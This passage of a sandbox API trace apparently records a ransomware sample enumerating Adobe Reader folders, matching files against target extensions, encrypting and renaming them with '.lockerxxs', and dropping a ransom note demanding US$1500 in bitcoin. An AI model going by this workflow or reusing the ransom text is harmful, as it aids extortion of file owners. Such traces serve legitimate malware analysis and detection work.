10.0\\Reader\\Legal\\ENU\\eula.ini") returned="eula.ini" [0069.662] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\" [0069.662] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\") returned="" [0069.662] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\HOW TO DECRYPT FILES.txt" [0069.662] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\how to decrypt files.txt")) returned 0x20 [0069.663] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html" [0069.663] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.ems") returned 0 [0069.663] lstrlenA (lpString="*.ems") returned 5 [0069.663] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.db") returned 0 [0069.663] lstrlenA (lpString="*.db") returned 4 [0069.663] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.dbf") returned 0 [0069.663] lstrlenA (lpString="*.dbf") returned 5 [0069.663] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.myox") returned 0 [0069.663] lstrlenA (lpString="*.myox") returned 6 [0069.663] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.myo") returned 0 [0069.663] lstrlenA (lpString="*.myo") returned 5 [0069.663] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.qbw") returned 0 [0069.663] lstrlenA (lpString="*.qbw") returned 5 [0069.663] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.qbb") returned 0 [0069.663] lstrlenA (lpString="*.qbb") returned 5 [0069.663] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.qbm") returned 0 [0069.663] lstrlenA (lpString="*.qbm") returned 5 [0069.663] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.qbo") returned 0 [0069.663] lstrlenA (lpString="*.qbo") returned 5 [0069.663] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.qbx") returned 0 [0069.663] lstrlenA (lpString="*.qbx") returned 5 [0069.663] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.qba") returned 0 [0069.663] lstrlenA (lpString="*.qba") returned 5 [0069.664] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.qby") returned 0 [0069.664] lstrlenA (lpString="*.qby") returned 5 [0069.664] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.qbj") returned 0 [0069.664] lstrlenA (lpString="*.qbj") returned 5 [0069.664] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.ofx") returned 0 [0069.664] lstrlenA (lpString="*.ofx") returned 5 [0069.664] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.qif") returned 0 [0069.664] lstrlenA (lpString="*.qif") returned 5 [0069.664] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.mye") returned 0 [0069.664] lstrlenA (lpString="*.mye") returned 5 [0069.664] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.mbox") returned 0 [0069.664] lstrlenA (lpString="*.mbox") returned 6 [0069.664] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.eml") returned 0 [0069.664] lstrlenA (lpString="*.eml") returned 5 [0069.664] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.pst") returned 0 [0069.664] lstrlenA (lpString="*.pst") returned 5 [0069.664] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.ost") returned 0 [0069.664] lstrlenA (lpString="*.ost") returned 5 [0069.664] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.idx") returned 0 [0069.664] lstrlenA (lpString="*.idx") returned 5 [0069.664] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.dbx") returned 0 [0069.664] lstrlenA (lpString="*.dbx") returned 5 [0069.664] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", pszSpec="*.sql") returned 0 [0069.665] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html" [0069.665] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html" [0069.665] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html." [0069.665] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html.lockerxxs" [0069.665] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.666] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa835 [0069.666] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x950fa000, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81dce140, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x950fa000, dwHighDateTime=0x1cb84b4)) returned 1 [0069.666] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.666] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xa80f, lpOverlapped=0x0) returned 1 [0069.668] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html") returned="license.html" [0069.669] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.669] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xa80f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xa80f, lpOverlapped=0x0) returned 1 [0069.669] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.669] CloseHandle (hObject=0x94) returned 1 [0069.673] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\license.html.lockerxxs")) returned 1 [0069.674] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa835, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0069.674] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.674] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="ESP", cAlternateFileName="")) returned 1 [0069.674] lstrcmpA (lpString1=".", lpString2="ESP") returned -1 [0069.674] lstrcmpA (lpString1="..", lpString2="ESP") returned -1 [0069.674] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0069.674] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="ESP" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP" [0069.674] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.676] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.676] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.676] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.676] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.676] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0069.676] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.676] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0069.676] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0069.676] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0069.676] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*.*") returned="*.*" [0069.676] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\" [0069.676] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\") returned="" [0069.676] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\HOW TO DECRYPT FILES.txt" [0069.676] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\how to decrypt files.txt")) returned 0xffffffff [0069.676] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.677] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.677] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.679] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.679] CloseHandle (hObject=0x94) returned 1 [0069.679] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini" [0069.679] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.ems") returned 0 [0069.679] lstrlenA (lpString="*.ems") returned 5 [0069.679] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.db") returned 0 [0069.679] lstrlenA (lpString="*.db") returned 4 [0069.679] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.dbf") returned 0 [0069.679] lstrlenA (lpString="*.dbf") returned 5 [0069.679] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.myox") returned 0 [0069.679] lstrlenA (lpString="*.myox") returned 6 [0069.679] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.myo") returned 0 [0069.680] lstrlenA (lpString="*.myo") returned 5 [0069.680] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.qbw") returned 0 [0069.680] lstrlenA (lpString="*.qbw") returned 5 [0069.680] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.qbb") returned 0 [0069.680] lstrlenA (lpString="*.qbb") returned 5 [0069.680] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.qbm") returned 0 [0069.680] lstrlenA (lpString="*.qbm") returned 5 [0069.680] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.qbo") returned 0 [0069.680] lstrlenA (lpString="*.qbo") returned 5 [0069.680] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.qbx") returned 0 [0069.680] lstrlenA (lpString="*.qbx") returned 5 [0069.680] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.qba") returned 0 [0069.680] lstrlenA (lpString="*.qba") returned 5 [0069.680] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.qby") returned 0 [0069.680] lstrlenA (lpString="*.qby") returned 5 [0069.680] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.qbj") returned 0 [0069.680] lstrlenA (lpString="*.qbj") returned 5 [0069.680] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.ofx") returned 0 [0069.680] lstrlenA (lpString="*.ofx") returned 5 [0069.680] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.qif") returned 0 [0069.680] lstrlenA (lpString="*.qif") returned 5 [0069.680] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.mye") returned 0 [0069.681] lstrlenA (lpString="*.mye") returned 5 [0069.681] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.mbox") returned 0 [0069.681] lstrlenA (lpString="*.mbox") returned 6 [0069.681] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.eml") returned 0 [0069.681] lstrlenA (lpString="*.eml") returned 5 [0069.681] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.pst") returned 0 [0069.681] lstrlenA (lpString="*.pst") returned 5 [0069.681] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.ost") returned 0 [0069.681] lstrlenA (lpString="*.ost") returned 5 [0069.681] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.idx") returned 0 [0069.681] lstrlenA (lpString="*.idx") returned 5 [0069.681] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.dbx") returned 0 [0069.681] lstrlenA (lpString="*.dbx") returned 5 [0069.681] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.sql") returned 0 [0069.681] lstrlenA (lpString="*.sql") returned 5 [0069.681] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.mdb") returned 0 [0069.681] lstrlenA (lpString="*.mdb") returned 5 [0069.681] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.fdb") returned 0 [0069.681] lstrlenA (lpString="*.fdb") returned 5 [0069.681] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.wab") returned 0 [0069.681] lstrlenA (lpString="*.wab") returned 5 [0069.681] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.dat") returned 0 [0069.682] lstrlenA (lpString="*.dat") returned 5 [0069.682] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.txt") returned 0 [0069.682] lstrlenA (lpString="*.txt") returned 5 [0069.682] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.jpeg") returned 0 [0069.682] lstrlenA (lpString="*.jpeg") returned 6 [0069.682] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.jpg") returned 0 [0069.682] lstrlenA (lpString="*.jpg") returned 5 [0069.682] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.png") returned 0 [0069.682] lstrlenA (lpString="*.png") returned 5 [0069.682] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.php") returned 0 [0069.682] lstrlenA (lpString="*.php") returned 5 [0069.682] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.cs") returned 0 [0069.682] lstrlenA (lpString="*.cs") returned 4 [0069.683] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.cpp") returned 0 [0069.683] lstrlenA (lpString="*.cpp") returned 5 [0069.683] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.rar") returned 0 [0069.683] lstrlenA (lpString="*.rar") returned 5 [0069.683] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.zip") returned 0 [0069.683] lstrlenA (lpString="*.zip") returned 5 [0069.683] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.html") returned 0 [0069.683] lstrlenA (lpString="*.html") returned 6 [0069.683] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.htm") returned 0 [0069.683] lstrlenA (lpString="*.htm") returned 5 [0069.683] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.xlsx") returned 0 [0069.683] lstrlenA (lpString="*.xlsx") returned 6 [0069.683] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.xls") returned 0 [0069.683] lstrlenA (lpString="*.xls") returned 5 [0069.683] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.mp4") returned 0 [0069.683] lstrlenA (lpString="*.mp4") returned 5 [0069.683] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.ppt") returned 0 [0069.683] lstrlenA (lpString="*.ppt") returned 5 [0069.683] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.pptx") returned 0 [0069.683] lstrlenA (lpString="*.pptx") returned 6 [0069.684] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.doc") returned 0 [0069.684] lstrlenA (lpString="*.doc") returned 5 [0069.684] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.dot") returned 0 [0069.684] lstrlenA (lpString="*.dot") returned 5 [0069.684] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini", pszSpec="*.docx") returned 0 [0069.684] lstrlenA (lpString="*.docx") 